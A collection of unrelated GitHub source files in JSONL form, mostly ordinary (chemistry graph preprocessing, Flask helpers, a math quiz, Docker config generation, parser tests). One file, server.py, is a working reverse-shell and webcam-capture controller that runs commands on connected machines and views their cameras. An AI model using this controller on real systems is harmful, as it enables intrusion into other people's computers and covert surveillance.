= adj.nonzero(as_tuple=False).t().contiguous()\n edge_attr = adj[edge_index[0], edge_index[1]].to(torch.long)\n\n e_attr=[zinc_bond_dec[int(i)] for i in edge_attr]\n #atomx=torch.clip(x,max=7)\n n_attr={k:reduce_atom_dict[zinc_atom_dict[int(i)]] for k,i in enumerate(x)}\n\n nxG=to_network(edge_index,e_attr,n_attr)\n #length=3\n known=set([])\n mp_edges=set([])\n for edges in nxG.edges:\n e1,e2=tuple(edges)\n\n e1_nei=nx.neighbors(nxG,e1)\n e2_nei=nx.neighbors(nxG,e2)\n for n1 in e1_nei:\n fmp=(n1,e1,e2)\n if (fmp not in known) and (fmp[::-1] not in known):\n known.add(fmp)\n known.add(fmp[::-1])\n\n mp=[nxG.nodes[fmp[0]]['ele'],nxG[fmp[0]][fmp[1]]['attr'],nxG.nodes[fmp[1]]['ele'],\\\n nxG[fmp[1]][fmp[2]]['attr'],nxG.nodes[fmp[2]]['ele']]\n mp=''.join(mp)\n if mp in MP_corpus:\n mp_edges.add((e1,e2,MP2id[mp],3))\n for n2 in e2_nei:\n fmp=(e1,e2,n2)\n if (fmp not in known) and (fmp[::-1] not in known):\n known.add(fmp)\n known.add(fmp[::-1])\n mp=[nxG.nodes[fmp[0]]['ele'],nxG[fmp[0]][fmp[1]]['attr'],nxG.nodes[fmp[1]]['ele'],\\\n nxG[fmp[1]][fmp[2]]['attr'],nxG.nodes[fmp[2]]['ele']]\n mp=''.join(mp)\n if mp in MP_corpus:\n mp_edges.add((e1,e2,MP2id[mp],3))\n for n1,n2 in zip(e1_nei,e2_nei):\n fmp=(n1,e1,e2,n2)\n if (fmp not in known) and (fmp[::-1] not in known):\n known.add(fmp)\n known.add(fmp[::-1])\n mp=[nxG.nodes[fmp[0]]['ele'],nxG[fmp[0]][fmp[1]]['attr'],nxG.nodes[fmp[1]]['ele'],\\\n nxG[fmp[1]][fmp[2]]['attr'],nxG.nodes[fmp[2]]['ele'],nxG[fmp[2]][fmp[3]]['attr'],\\\n nxG.nodes[fmp[3]]['ele']]\n mp=''.join(mp)\n if mp in MP_corpus:\n mp_edges.add((n1,n2,MP2id[mp],4))\n if len(mp_edges)>0:\n mp_edges=[list(i) for i in mp_edges]\n mp_add=torch.tensor(mp_edges)\n\n edg_add=mp_add[:,:2].T\n edge_index=torch.cat([edge_index,edg_add],dim=1)\n klp=mp_add[:,3]+4\n edge_attr=torch.cat([edge_attr,klp],dim=0)\n \n \n data = Data(x=x, edge_index=edge_index, edge_attr=edge_attr,\n y=y)\n\n if self.pre_filter is not None and not self.pre_filter(data):\n continue\n\n if self.pre_transform is not None:\n data = self.pre_transform(data)\n\n data_list.append(data)\n pbar.update(1)\n\n pbar.close()\n\n torch.save(self.collate(data_list),\n osp.join(self.processed_dir, f'{split}.pt'))","repo_name":"valerieJJ/MPMol","sub_path":"src/Data_MPZINC.py","file_name":"Data_MPZINC.py","file_ext":"py","file_size_in_byte":6218,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"37678615444","text":"from flask import Flask\nfrom flask import Blueprint\nfrom flask import request\nfrom flask import jsonify\nfrom werkzeug.utils import secure_filename\nimport json\nfrom flask_cors import CORS, cross_origin \nimport numpy as np\nimport requests\nfrom scipy.spatial import distance\n\nclass MetodosTemp:\n ######################\n #call openfaceAPI, return vector de caracteristicas \n def callOpenFaceAPI(path):\n url = 'http://0.0.0.0:81/openfaceAPI'\n files = {'file': open(path, 'rb')}\n\n result = requests.post(url, files=files) # abriendo un archivo binario\n result = result.json()\n #print(result)\n\n return result\n\n######################\n\n\n def savePathAsis(f):\n # Para guardar momentaneamente la foto para ser procesada\n filename = f.filename\n path = '/home/aron/Documentos/proyecto/backend/photos_asistencia/' + filename\n f.save(path)\n return path\n\n def savePath(f):\n # Para guardar momentaneamente la foto para ser procesada\n filename = f.filename\n path = '/home/aron/Documentos/proyecto/backend/photos/' + filename\n f.save(path)\n return path\n\n#########################\n\n def transformacion(entrada):\n vector = str(entrada[\"result\"])\n vector = vector.replace('{','')\n vector = vector.replace('}','')\n vector = vector.replace('[','')\n vector = vector.replace(']','')\n vector = vector.replace(\"\\\\\",\"\")\n vector = ''.join(vector.split('\\n'))\n vector = vector.strip()\n #lista_floats = [float(valor) for valor in vector.split()]\n #tupla_floats = tuple(lista_floats)\n return vector\n \n def transformacion2(vector):\n vector = \", \".join(vector)\n vector = vector.replace('{','')\n vector = vector.replace('}','')\n vector = vector.replace('[','')\n vector = vector.replace(']','')\n vector = vector.replace(\"\\\\\",\"\")\n vector = ''.join(vector.split('\\n'))\n vector = vector.strip()\n #lista_floats = [float(valor) for valor in vector.split()]\n #tupla_floats = tuple(lista_floats)\n return vector\n\n def toString(string):\n result = string.replace('{','').replace('}','')\n result = list(result.split(','))\n return result\n\n def toFloat(arr):\n vector = []\n for i in arr:\n vector.append(float(i))\n return vector\n \n def Euclides(vector1,vector2):\n lista_floats1 = [float(valor) for valor in vector1.split()]\n tupla_floats1 = tuple(lista_floats1)\n lista_floats2 = [float(valor) for valor in vector2.split()]\n tupla_floats2 = tuple(lista_floats2)\n resultado = distance.euclidean(tupla_floats1, tupla_floats2)\n return resultado\n","repo_name":"Geronymus/construccion","sub_path":"metodos_temp.py","file_name":"metodos_temp.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34841423949","text":"import random #imports rand function\r\n# Math quiz with subtraction and addition portion with menu to choose until user is done.\r\n# 29-APR-2023\r\n# CTI-110 P5HW - Math Quiz\r\n# Alexander Tracy\r\n#\r\n\r\ndef plus(): #addition portion\r\n a = random.randint(1,100) #generates rand 2 numbers\r\n b = random.randint(1,100)\r\n c = a + b #creates answer\r\n print(\" \", a)\r\n print(\" + \", b)\r\n d = int(input(\"Enter your answer.\")) #creates user selection\r\n if d == c: #math portion, fairly straight forward using if, while loop using if\r\n print(\"Congratulations, your answer is correct!\")\r\n while d != c:\r\n if d < c:\r\n print(\"Sorry, your guess is too low, try again.\")\r\n d = int(input())\r\n elif d > c:\r\n print(\"Sorry, your guess is too high, try again.\")\r\n d = int(input())\r\n print(\"Congratulations, your answer is correct!\")\r\ndef sub(): #subtraction portion\r\n a = random.randint(1,100) #generates rand 2 numbers\r\n b = random.randint(1,100)\r\n c = a - b\r\n print(\" \", a)\r\n print(\" - \", b)\r\n d = int(input(\"Enter your answer.\")) #creates user selection\r\n if d == c: #math portion, fairly straight forward using if, while loop using i\r\n print(\"Congratulations, your answer is correct!\")\r\n while d != c:\r\n if d < c:\r\n print(\"Sorry, your guess is too low, try again.\")\r\n d = int(input())\r\n elif d > c:\r\n print(\"Sorry, your guess is too high, try again.\")\r\n d = int(input())\r\n print(\"Congratulations, your answer is correct!\")\r\ndef main(): #menu portion\r\n print(\"Welcome to Math quiz\\n\") #introduction part, nothing cool, accidentally made it unexitable at first cause i forgot \"break\"\r\n while True:\r\n print(\"MAIN MENU\")\r\n print(\"-\"*20)\r\n print(\"1. Adding random numbers\")\r\n print(\"2. Subtracting random numbers\")\r\n print(\"3. Exit\")\r\n choice = int(input(\"\\nPlease choose one of the menu options:\")) #creates functional menu portion\r\n if choice == 1:\r\n plus()\r\n elif choice == 2:\r\n sub()\r\n elif choice == 3:\r\n print(\"Thank you for playing!\")\r\n print(\"Bye!\")\r\n break\r\n else:\r\n print(\"Please make a valid selection.\")\r\nmain()","repo_name":"actingplanet-24/CTI110","sub_path":"P5HW_TracyAlexander.py","file_name":"P5HW_TracyAlexander.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22799109020","text":"import json\n\nimport yaml\n\nNETWORK_NAME = 'bdb-network'\n\nbt2arr = {\n 'client': ['CLIENT'],\n 'pnb': ['PNB'],\n 'ccb': [\"CCB\"],\n 'rlb': [\"RLB\"],\n 'dsb': [\"DSB\"],\n 'all': ['CCB', 'RLB', 'DSB']\n}\n\nunbinding_block_types = ['rlb', 'dsb', 'ccb']\n\nbt2port = {\n 'client': 8000,\n 'pnb': 8008,\n 'ccb': 8001,\n 'rlb': 8002,\n 'dsb': 8003,\n 'all': 8000\n}\n\n\ndef gen_service(az, shard, block_type='client'):\n if block_type == 'client':\n service_name = 'bdb-client-az{}'.format(az)\n ip_address = '192.168.{}.{}'.format(az, 100)\n elif block_type == 'pnb':\n service_name = 'bdb-pnb-az{}'.format(az)\n ip_address = '192.168.{}.{}'.format(az, 101)\n else:\n service_name = 'bdb-s{}-az{}-{}'.format(shard, az, block_type)\n ip_address = '192.168.{}.{}'.format(az, shard)\n node_config = {\n \"zone_name\": 'az{}'.format(az),\n \"shard_name\": 's{}'.format(shard),\n \"node_name\": service_name,\n \"address\": ip_address,\n \"private_address\": ip_address,\n \"port\": bt2port[block_type],\n \"block_type\": bt2arr[block_type]\n }\n\n service = {\n 'build': '.',\n 'tty': True,\n 'cap_add': [\n 'NET_ADMIN'\n ],\n 'networks':\n {\n NETWORK_NAME: {\n 'ipv4_address': ip_address\n }\n },\n 'image': 'block-db',\n 'deploy': {\n 'resources': {\n 'limits': {\n 'cpus': '1',\n 'memory': '20G',\n },\n 'reservations': {\n 'cpus': '0.25',\n 'memory': '1G'\n }\n }\n }\n }\n return service_name, service, node_config\n\n\ndef gen_network():\n network_name = NETWORK_NAME\n network = {\n 'name': network_name,\n 'driver': 'overlay',\n 'attachable': True,\n 'ipam': {\n 'config':\n [\n {'subnet': '192.168.0.0/16',\n 'gateway': '192.168.0.1'}\n ]\n\n }\n }\n\n return network_name, network\n\n\ndef generate_docker_compose(num_shard, num_az, binding=True):\n compose_yaml = {\n 'version': '3.8',\n 'networks': {},\n 'services': {},\n }\n nodes_conf = {\n 'node_server_list': [],\n 'node_client': {}\n }\n if num_shard > 1:\n binding = True\n for i in range(1, num_shard + 1):\n for j in range(1, num_az + 1):\n if not binding:\n name, service, _ = gen_service(j, i, block_type='all')\n compose_yaml['services'][name] = service\n for bt in unbinding_block_types:\n name, service, node_conf = gen_service(j, i, block_type=bt)\n nodes_conf['node_server_list'].append(node_conf)\n else:\n name, service, node_conf = gen_service(j, i, block_type='all')\n compose_yaml['services'][name] = service\n nodes_conf['node_server_list'].append(node_conf)\n network_name, network = gen_network()\n compose_yaml['networks'][network_name] = network\n\n name, service, node_conf = gen_service(shard=0, az=num_az, block_type='client')\n compose_yaml['services'][name] = service\n nodes_conf['node_client'] = (node_conf)\n\n if num_shard > 1:\n db_type = 'dist'\n else:\n db_type = 'share'\n if binding:\n b_type = 'tb'\n else:\n b_type = 'lb'\n with open(r'docker-compose.{}.{}.yml'.format(db_type, b_type), 'w') as file:\n documents = yaml.dump(compose_yaml, file)\n file.close()\n with open(r'node.{}.{}.docker.json'.format(db_type, b_type), 'w') as file:\n file.write(json.dumps(nodes_conf, indent=4))\n file.close()\n\n\ngenerate_docker_compose(5, 3)\ngenerate_docker_compose(1, 3, True)\ngenerate_docker_compose(1, 3, False)\n","repo_name":"ybbhwxfj/tdbb","sub_path":"py/docker_compose.py","file_name":"docker_compose.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9582969549","text":"import pandas as pd\nimport numpy as np\nimport shutil, os\n\n\ndef move_examples(source_folder: str, target_folder: str,\n new_order: np.ndarray, start_row: int,\n row_count: int, label_table: pd.DataFrame):\n \"\"\"\n moves .jpg images from rource folder to target folder, using the new random order\n of the given label table and saves a new label nable of the selected rows\n :param source_folder: where to take the images from\n :param target_folder: where to copy the images\n :param new_order: random premutation of label table rows\n :param start_row: start idx of the random premutaion to take rows from\n :param row_count: how many elements to take after the start row\n :param label_table: the label table\n :return: None\n \"\"\"\n\n start_row = int(start_row)\n row_count = int(row_count)\n rows = new_order[start_row:start_row + row_count]\n new_lable_table = pd.DataFrame(label_table.iloc[rows])\n os.makedirs(target_folder, exist_ok=True)\n for row in new_lable_table.iterrows():\n filename_source = os.path.join(source_folder, row[1]['id'] + '.jpg')\n filename_target = os.path.join(target_folder, row[1]['id'] + '.jpg')\n shutil.copy(filename_source, filename_target)\n\n new_lable_table.to_csv(os.path.join(os.path.dirname(target_folder), os.path.basename(target_folder) + '_lables.csv'))\n\n\ndef split_data(dataset_folder: str, labels_file: str,\n training_percentage: float, validation_percentage: float):\n \"\"\"\n splits the dataset int newly created folders according to the given percentages\n and saves the label tables for each folder\n :param dataset_folder:\n :param training_percentage:\n :param validation_percentage:\n :return:\n \"\"\"\n\n np.random.seed(0)\n assert (training_percentage + validation_percentage < 1) and (training_percentage > 0)\\\n and (validation_percentage > 0), \" illegal data splitting \"\n\n test_percentage = 1 - training_percentage - validation_percentage\n new_training_folder = os.path.join('./data', 'train_' + str(training_percentage))\n new_validation_folder = os.path.join('./data', 'valid_' + str(validation_percentage))\n new_test_folder = os.path.join('./data', 'test_' + str(test_percentage))\n\n label_table = pd.read_csv(labels_file)\n\n new_order = np.random.permutation(label_table.shape[0])\n num_training_examples = training_percentage * label_table.shape[0]\n num_validation_examples = validation_percentage * label_table.shape[0]\n num_test_examples = label_table.shape[0] - num_training_examples - num_validation_examples\n\n move_examples(dataset_folder, new_training_folder, new_order, 0, num_training_examples, label_table)\n move_examples(dataset_folder, new_validation_folder, new_order, num_training_examples, num_validation_examples, label_table)\n move_examples(dataset_folder, new_test_folder, new_order, num_training_examples + num_validation_examples, num_test_examples, label_table)\n\n\n\nif '__main__' == __name__:\n\n split_data(r'../train', '../labels_updated.csv', 0.8, 0.1)\n","repo_name":"mdabbah/project_dogbreed","sub_path":"split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72262879761","text":"import os\nimport base64\n\nfrom aiohttp import web\nimport aiohttp_session\nfrom aiohttp_session import cookie_storage\nimport yacm\nimport jinja2\nimport aiohttp_jinja2\n\nimport tfschmuck\n\nfrom . import middlewares, views\n\n\nMODULE_PATH = os.path.dirname(tfschmuck.__file__)\nBASE_PATH = os.path.dirname(__file__)\n\n\ndef register_routes(app):\n home_handler = views.home.Home()\n app.router.add_route('GET', '/', home_handler.get)\n\n jewellery_handler = views.jewellery.Jewellery()\n app.router.add_route('GET', '/jewellery', jewellery_handler.get)\n app.router.add_static(\n '/static/', path=os.path.join(MODULE_PATH, 'client', 'static'))\n\n\ndef create_app():\n app = web.Application()\n settings = yacm.read_configs('tfschmuck.server')\n\n template_path = os.path.join(MODULE_PATH, 'client', 'templates')\n jinja2_loader = jinja2.FileSystemLoader(template_path)\n # since the jinja context is apparently bugged currently we dont use setup\n # but rather set the env ourselves\n env = jinja2.Environment(autoescape=True, loader=jinja2_loader)\n\n update = {\n 'name': 'tfschmuck',\n 'settings': settings,\n aiohttp_jinja2.APP_KEY: env\n }\n app.update(**update)\n\n secret_key = base64.urlsafe_b64decode(settings['secrets']['cookie'])\n encrypted_storage = cookie_storage.EncryptedCookieStorage(secret_key)\n\n session_middleware = middlewares.session.middleware(encrypted_storage)\n response_middleware = middlewares.response.middleware()\n app.middlewares.append(response_middleware)\n app.middlewares.append(session_middleware)\n\n register_routes(app)\n return app\n","repo_name":"BFriedrichs/tfschmuck","sub_path":"tfschmuck/server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17620474427","text":"import socket\r\nimport sys\r\nimport time\r\nimport threading\r\nfrom queue import Queue\r\nimport struct\r\nimport cv2\r\nimport pickle\r\n\r\nHOST = '0.0.0.0'\r\nPORT = 5000\r\n\r\nNUMBER_OF_THREADS = 2\r\nJOB_NUMBER = [1,2]\r\nqueue = Queue()\r\nall_connections = []\r\nall_addresses = []\r\n\r\ndef socket_create():\r\n try:\r\n print(\"Creating a socket\")\r\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n return server_socket\r\n except socket.error as msg:\r\n print(\"Socket creation error: \" + str(msg))\r\n\r\ndef socket_bind(server_socket):\r\n try:\r\n print(\"Binding socket to port: \" + str(PORT))\r\n server_socket.bind((HOST, PORT))\r\n server_socket.listen(5)\r\n except socket.error as msg:\r\n print(\"Socket binding error: \" + str(msg) + \"\\n\" + \"Retrying...\")\r\n time.sleep(5)\r\n socket_bind(server_socket)\r\n\r\n# Accept connection from multiple clients and save to list\r\ndef accept_connections(server_socket):\r\n for c in all_connections:\r\n c.close()\r\n del all_connections[:]\r\n del all_addresses[:]\r\n while True:\r\n try:\r\n connection, address = server_socket.accept()\r\n connection.setblocking(1)\r\n all_connections.append(connection)\r\n all_addresses.append(address)\r\n print(\"Connection has been established | \" + \"IP \" + str(address[0]) + \" | Port \" + str(address[1]))\r\n except:\r\n print(\"Error accepting connections\")\r\n\r\n# Print help info and menu of actions user can choose from\r\ndef printMenu():\r\n print('----- RSC menu -----')\r\n print('list - lists server_sockets')\r\n print('select --number - choose a target from server_socket list and start a reverse shell')\r\n print('camera --number - choose a target from server_socket list and start capturing camera view')\r\n print('help - prints that info')\r\n print('-------------------------')\r\n\r\n# Interactive prompt\r\ndef start_turtle():\r\n printMenu()\r\n while True:\r\n command = input('RSC> ')\r\n if command == 'list':\r\n list_connections()\r\n elif command == 'help':\r\n printMenu()\r\n elif 'select' in command:\r\n connection = get_target(command, 1)\r\n if connection is not None:\r\n send_target_commands(connection)\r\n elif 'camera' in command: \r\n connection = get_target(command, 2)\r\n if connection is not None:\r\n receiveCameraData(connection)\r\n else:\r\n print(\"Command not recognized\")\r\n\r\ndef list_connections():\r\n results = ''\r\n for i, connection in enumerate(all_connections):\r\n try:\r\n connection.send(str.encode('connect'))\r\n connection.recv(4096)\r\n except:\r\n del all_connections[i]\r\n del all_addresses[i]\r\n continue\r\n results += str(i) + ' | ' + str(all_addresses[i][0]) + ' | ' + str(all_addresses[i][1]) + '\\n'\r\n print('----- Clients -----' + '\\n' + results)\r\n\r\ndef get_target(command, type):\r\n try:\r\n if type == 1:\r\n target = int(command.replace('select ', ''))\r\n elif type == 2:\r\n target = int(command.replace('camera ', ''))\r\n connection = all_connections[target]\r\n print(\"You are now connected to \" + str(all_addresses[target][0]))\r\n print(str(all_addresses[target][0]) + '> ', end=\"\")\r\n return connection\r\n except:\r\n print(\"Not a valid selection\")\r\n return None\r\n\r\ndef send_target_commands(connection):\r\n connection.send(str.encode('2', \"utf-8\"))\r\n while True:\r\n try:\r\n command = input()\r\n if command == 'quit':\r\n print(\"Wysylanie zakonczenia\")\r\n connection.send(str.encode('q', \"utf-8\"))\r\n print(\"Wysylano\")\r\n break\r\n elif len(str.encode(command)) > 0:\r\n connection.send(str.encode(command))\r\n client_response = str(connection.recv(4096), \"utf-8\", \"ignore\")\r\n print(client_response, end=\"\")\r\n except:\r\n print(\"Connection was lost\")\r\n break\r\n print(\"Reverse shell closed\")\r\n\r\n\r\ndef receiveCameraData(connection):\r\n connection.send(str.encode('1', \"utf-8\"))\r\n data = b\"\"\r\n payload_size = struct.calcsize(\">L\")\r\n while True:\r\n while len(data) < payload_size:\r\n data += connection.recv(4096)\r\n\r\n packed_msg_size = data[:payload_size]\r\n data = data[payload_size:]\r\n msg_size = struct.unpack(\">L\", packed_msg_size)[0]\r\n\r\n while len(data) < msg_size:\r\n data += connection.recv(4096)\r\n frame_data = data[:msg_size]\r\n data = data[msg_size:]\r\n\r\n frame = pickle.loads(frame_data, fix_imports=True, encoding=\"bytes\")\r\n frame = cv2.imdecode(frame, cv2.IMREAD_COLOR)\r\n cv2.imshow('ImageWindow',frame)\r\n key = cv2.waitKey(33)\r\n if key == 27: #Esc key to stop\r\n connection.send(str.encode('q', \"utf-8\"))\r\n print(\"Stop signal sent\")\r\n break\r\n\r\n cv2.destroyAllWindows()\r\n\r\n# Create worker threads\r\ndef create_workers():\r\n for _ in range(NUMBER_OF_THREADS):\r\n thread = threading.Thread(target=work)\r\n thread.daemon = True\r\n thread.start()\r\n\r\n# Do the next job in the queue (one handles connections, other sends commands)\r\ndef work():\r\n while True:\r\n x = queue.get()\r\n if x == 1:\r\n server_socket = socket_create()\r\n socket_bind(server_socket)\r\n accept_connections(server_socket)\r\n if x == 2:\r\n start_turtle()\r\n queue.task_done()\r\n\r\n# Each list item is a new job\r\ndef create_jobs():\r\n for x in JOB_NUMBER:\r\n queue.put(x)\r\n queue.join()\r\n \r\ndef main():\r\n create_workers()\r\n create_jobs()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Armand98/RSC","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74674850642","text":"class Solution:\n def countSubstrings(self, s: str, t: str) -> int:\n # create all substrings\n dots = defaultdict(list)\n for i in range(len(t)):\n for j in range(i + 1, len(t) + 1):\n phrase = t[i : j]\n # replace each single letter by a dot and remember the original phrase/substring\n for k in range(len(phrase)):\n regex = phrase[:k] + \".\" + phrase[k + 1:]\n dots[regex].append(phrase)\n\n result = 0\n # and repeat the same for s\n for i in range(len(s)):\n for j in range(i + 1, len(s) + 1):\n phrase = s[i : j]\n for k in range(len(phrase)):\n regex = phrase[:k] + \".\" + phrase[k + 1:]\n # look up\n if regex in dots:\n for d in dots[regex]:\n # avoid self-matching (the dot must represent a different character)\n if d != phrase:\n result += 1\n\n return result\n","repo_name":"stbrumme/leetcode","sub_path":"1638.py","file_name":"1638.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72022597202","text":"# -*- coding: utf-8 -*-\nfrom typing import List, Tuple\n\nfrom motor.motor_asyncio import AsyncIOMotorClient\n\n\nclass PersistentStorage(object):\n DB_NAME = \"autocomplete\"\n DB_COLLECTION = \"en_corpus\"\n\n def __init__(self, dsn):\n client = AsyncIOMotorClient(dsn)\n db = client[self.DB_NAME]\n self.collection = db[self.DB_COLLECTION]\n\n async def get_words(self) -> List[Tuple[str, int]]:\n cursor = self.collection.find()\n return [(item[\"word\"], item[\"frequency\"]) async for item in cursor]\n\n async def add_word(self, item: Tuple[str, int]) -> None:\n word = item[0]\n frequency = item[1]\n await self.collection.find_one_and_update(\n {\"word\": word},\n {\"$inc\": {\"frequency\": frequency}},\n projection={\"frequency\": True, \"_id\": False},\n upsert=True,)\n\n async def fill(self, words: List[Tuple[str, int]]) -> None:\n if not words:\n return\n await self.collection.insert_many(\n [{\"word\": pair[0], \"frequency\": pair[1]} for pair in words]\n )\n","repo_name":"freundallein/autocomplete","sub_path":"db/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31300178993","text":"from io import BytesIO\n\nfrom twisted.trial.unittest import TestCase\nfrom twisted.web import sux\nfrom twisted.web import microdom\nfrom twisted.web import domhelpers\n\n\nclass Sux0r(sux.XMLParser):\n def __init__(self):\n self.tokens = []\n\n\n def getTagStarts(self):\n return [token for token in self.tokens if token[0] == 'start']\n\n\n def gotTagStart(self, name, attrs):\n self.tokens.append((\"start\", name, attrs))\n\n\n def gotText(self, text):\n self.tokens.append((\"text\", text))\n\n\n\nclass SUXTests(TestCase):\n\n def test_bork(self):\n s = b\"\"\n ms = Sux0r()\n ms.connectionMade()\n ms.dataReceived(s)\n self.assertEqual(len(ms.getTagStarts()),3)\n\n\n\nclass MicroDOMTests(TestCase):\n\n def test_leadingTextDropping(self):\n \"\"\"\n Make sure that if there's no top-level node lenient-mode won't\n drop leading text that's outside of any elements.\n \"\"\"\n s = \"Hi orders!
Well.
\"\n d = microdom.parseString(s, beExtremelyLenient=True)\n self.assertEqual(d.firstChild().toxml(),\n 'Hi orders!
Well.
')\n byteStream = BytesIO()\n d.firstChild().writexml(byteStream, '', '', '', '', {}, '')\n self.assertEqual(byteStream.getvalue(),\n b'Hi orders!
Well.
')\n\n\n def test_trailingTextDropping(self):\n \"\"\"\n Ensure that no *trailing* text in a mal-formed\n no-top-level-element document(s) will not be dropped.\n \"\"\"\n s = \"
Hi orders!\"\n d = microdom.parseString(s, beExtremelyLenient=True)\n self.assertEqual(d.firstChild().toxml(),\n '
Hi orders!')\n byteStream = BytesIO()\n d.firstChild().writexml(byteStream, '', '', '', '', {}, '')\n self.assertEqual(byteStream.getvalue(),\n b'
Hi orders!')\n\n\n def test_noTags(self):\n \"\"\"\n A string with nothing that looks like a tag at all should just\n be parsed as body text.\n \"\"\"\n s = \"Hi orders!\"\n d = microdom.parseString(s, beExtremelyLenient=True)\n self.assertEqual(d.firstChild().toxml(),\n \"Hi orders!\")\n\n\n def test_surroundingCrap(self):\n \"\"\"\n If a document is surrounded by non-xml text, the text should\n be remain in the XML.\n \"\"\"\n s = \"Hi
orders!\"\n d = microdom.parseString(s, beExtremelyLenient=True)\n self.assertEqual(d.firstChild().toxml(),\n \"Hi
orders!\")\n\n\n def test_caseSensitiveSoonCloser(self):\n s = \"\"\"\n \n

\n \n

\n\n

\n This is an insane set of text nodes that should NOT be gathered under\n the A tag above.\n

\n \n \"\"\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n l = domhelpers.findNodesNamed(d.documentElement, 'a')\n n = domhelpers.gatherTextNodes(l[0],1).replace(' ',' ')\n self.assertEqual(n.find('insane'), -1)\n\n\n def test_lenientParenting(self):\n \"\"\"\n Test that C{parentNode} attributes are set to meaningful values when\n we are parsing HTML that lacks a root node.\n \"\"\"\n # Spare the rod, ruin the child.\n s = \"

\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n self.assertIdentical(d.documentElement,\n d.documentElement.firstChild().parentNode)\n\n\n def test_lenientParentSingle(self):\n \"\"\"\n Test that the C{parentNode} attribute is set to a meaningful value\n when we parse an HTML document that has a non-Element root node.\n \"\"\"\n s = \"Hello\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n self.assertIdentical(d.documentElement,\n d.documentElement.firstChild().parentNode)\n\n\n def test_unEntities(self):\n s = \"\"\"\n \n This HTML goes between Stupid <=CrAzY!=> Dumb.\n \n \"\"\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n n = domhelpers.gatherTextNodes(d)\n self.assertNotEqual(n.find('>'), -1)\n\n\n def test_emptyError(self):\n self.assertRaises(sux.ParseError, microdom.parseString, \"\")\n\n\n def test_tameDocument(self):\n s = \"\"\"\n \n \n \n \n test\n \n \n \n \n \"\"\"\n d = microdom.parseString(s)\n self.assertEqual(\n domhelpers.gatherTextNodes(d.documentElement).strip() ,'test')\n\n\n def test_awfulTagSoup(self):\n s = \"\"\"\n \n I send you this message to have your advice!!!!</titl e\n </headd>\n\n <body bgcolor alink hlink vlink>\n\n <h1><BLINK>SALE</blINK> TWENTY MILLION EMAILS & FUR COAT NOW\n FREE WITH `ENLARGER'</h1>\n\n YES THIS WONDERFUL AWFER IS NOW HERER!!!\n\n <script LANGUAGE=\"javascript\">\nfunction give_answers() {\nif (score < 70) {\nalert(\"I hate you\");\n}}\n </script><a href=/foo.com/lalal name=foo>lalal</a>\n </body>\n </HTML>\n \"\"\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n l = domhelpers.findNodesNamed(d.documentElement, 'blink')\n self.assertEqual(len(l), 1)\n\n\n def test_scriptLeniency(self):\n s = \"\"\"\n <script>(foo < bar) and (bar > foo)</script>\n <script language=\"javascript\">foo </scrip bar </script>\n <script src=\"foo\">\n <script src=\"foo\">baz</script>\n <script /><script></script>\n \"\"\"\n d = microdom.parseString(s, beExtremelyLenient=1)\n self.assertEqual(d.firstChild().firstChild().firstChild().data,\n \"(foo < bar) and (bar > foo)\")\n self.assertEqual(\n d.firstChild().getElementsByTagName(\"script\")[1].firstChild().data,\n \"foo </scrip bar \")\n\n\n def test_scriptLeniencyIntelligence(self):\n # if there is comment or CDATA in script, the autoquoting in bEL mode\n # should not happen\n s = \"\"\"<script><!-- lalal --></script>\"\"\"\n self.assertEqual(\n microdom.parseString(s, beExtremelyLenient=1).firstChild().toxml(), s)\n s = \"\"\"<script><![CDATA[lalal]]></script>\"\"\"\n self.assertEqual(\n microdom.parseString(s, beExtremelyLenient=1).firstChild().toxml(), s)\n s = \"\"\"<script> // <![CDATA[\n lalal\n //]]></script>\"\"\"\n self.assertEqual(\n microdom.parseString(s, beExtremelyLenient=1).firstChild().toxml(), s)\n\n\n def test_preserveCase(self):\n s = '<eNcApSuLaTe><sUxor></sUxor><bOrk><w00T>TeXt</W00t></BoRk></EnCaPsUlAtE>'\n s2 = s.lower().replace('text', 'TeXt')\n # these are the only two option permutations that *can* parse the above\n d = microdom.parseString(s, caseInsensitive=1, preserveCase=1)\n d2 = microdom.parseString(s, caseInsensitive=1, preserveCase=0)\n # caseInsensitive=0 preserveCase=0 is not valid, it's converted to\n # caseInsensitive=0 preserveCase=1\n d3 = microdom.parseString(s2, caseInsensitive=0, preserveCase=1)\n d4 = microdom.parseString(s2, caseInsensitive=1, preserveCase=0)\n d5 = microdom.parseString(s2, caseInsensitive=1, preserveCase=1)\n # this is slightly contrived, toxml() doesn't need to be identical\n # for the documents to be equivalent (i.e. <b></b> to <b/>),\n # however this assertion tests preserving case for start and\n # end tags while still matching stuff like <bOrk></BoRk>\n self.assertEqual(d.documentElement.toxml(), s)\n self.assertTrue(d.isEqualToDocument(d2), \"%r != %r\" % (d.toxml(), d2.toxml()))\n self.assertTrue(d2.isEqualToDocument(d3), \"%r != %r\" % (d2.toxml(), d3.toxml()))\n # caseInsensitive=0 on the left, NOT 